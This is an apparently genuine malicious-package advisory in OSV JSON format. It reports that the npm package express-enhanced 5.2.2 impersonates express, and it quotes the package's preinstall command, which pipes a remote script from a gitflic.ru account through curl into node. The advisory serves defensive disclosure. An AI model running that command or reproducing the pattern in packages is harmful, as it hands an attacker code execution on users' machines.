{"id":"MAL-2026-17489","summary":"Malicious code in express-enhanced (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (15d6ce3e4c988439e6023bb900fde41c1a7eebe0c372eddc3a3c3c9d8206a9d6)\nexpress-enhanced@5.2.2 impersonates the express package: it ships the express README verbatim, declares `TJ Holowaychuk` as author, and points `repository` at `expressjs/express`, while publishing under a different name. The package.json preinstall script runs `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`, downloading an unpinned JavaScript payload from a gitflic.ru account unrelated to the express maintainers (wrapped through web.archive.org) and piping it directly to node at `npm install` time. The fetched content is not integrity-checked, the source is mutable and attacker-controlled, and execution happens automatically on install, giving the publisher arbitrary code execution on any machine that installs the package.\n","modified":"2026-10-04T23:30:05.690899451Z","published":"2026-10-04T23:12:02Z","database_specific":{"malicious-packages-origins":[{"source":"amazon-inspector","versions":["5.2.2"],"id":"IN-MAL-2026-020872","import_time":"2026-10-04T23:16:29.642783113Z","modified_time":"2026-10-04T23:12:02Z","sha256":"15d6ce3e4c988439e6023bb900fde41c1a7eebe0c372eddc3a3c3c9d8206a9d6"}]},"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/express-enhanced/v/5.2.2"}],"affected":[{"package":{"name":"express-enhanced","ecosystem":"npm","purl":"pkg:npm/express-enhanced"},"versions":["5.2.2"],"database_specific":{"cwes":[{"description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code","cweId":"CWE-506"}],"indicators":{"evidence_files":[{"path":"package.json","sha256":"12741fa46a7984140e20dfc874615c84c5a5c5097521837a5e059051439d7bf5","tlsh":"b451c921cc0e8c6326c5a2dd3c68a542622188078e41f81cf369539c8f8e56f71b9fbf"}],"package_integrity":[{"filename":"express-enhanced-5.2.2.tgz","hashes":{"sha1":"24f3fdb91c894a3ca597fbe33360bda8c4976a21","sha512_sri":"sha512-Q67PFw7XYlHJgGS0S8/Mo/hxI07DyFGlUvyBVdBZzxQ/BmnfTWWyAEtPjsZlJe29kHS1Vz5eSPvy8TZtwabZkg=="}}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/express-enhanced/MAL-2026-17489.json"}}],"schema_version":"1.9.0","credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}